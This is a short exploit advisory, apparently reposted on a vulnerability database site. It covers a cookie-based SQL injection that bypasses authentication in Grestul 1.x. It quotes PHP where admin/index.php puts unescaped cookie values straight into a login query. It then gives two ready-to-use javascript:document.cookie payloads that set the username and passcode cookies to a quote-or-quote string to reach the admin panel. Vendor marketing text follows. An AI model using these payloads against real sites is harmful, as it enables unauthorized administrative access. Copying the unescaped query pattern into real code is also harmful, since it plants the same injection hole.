=============================================================
Grestul 1.x Auth Bypass by Cookie SQL Injection Vulnerability
=============================================================
########################################
Grestul Sql Injection By Cookie ( bypass)
########################################
Autore: x0r
########################################
Let's Go!
\admin\login.php :
$username = SafeAddSlashes($_POST['username']);
$passcode = SafeAddSlashes(md5($_POST['passcode']));
$time = time();
$check = SafeAddSlashes($_POST['setcookie']);
$query = "SELECT user, pass FROM grestullogin WHERE user = '$username' AND
pass = '$passcode'";
$result = mysql_query($query, $db);
if(mysql_num_rows($result)) {
$_SESSION['loggedin'] = 1;
if($check) {
setcookie("grestul[username]", $username, $time + 3600);
setcookie("grestul[passcode]", $passcode, $time + 3600);
Oh damn ! SafeAddSlashes...our ' or ' don't go! But...\admin\index.php
if(isset($_COOKIE['grestul'])) {
include 'inc/config.php';
$username = $_COOKIE['grestul']['username'];
$passcode = $_COOKIE['grestul']['passcode'];
$query = "SELECT user, pass FROM grestullogin WHERE user = '$username' AND
pass = '$passcode'";
$result = mysql_query($query, $db);
So....
Exploit:
[+]javascript:document.cookie = "grestul[username]=' or '; path=/";
[+]javascript:document.cookie = "grestul[passcode]=' or '; path=/";
And then \admin\index.php ^ ^ Auth Bypassed ^ ^
################################################
# 0day.today [2018-02-19] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation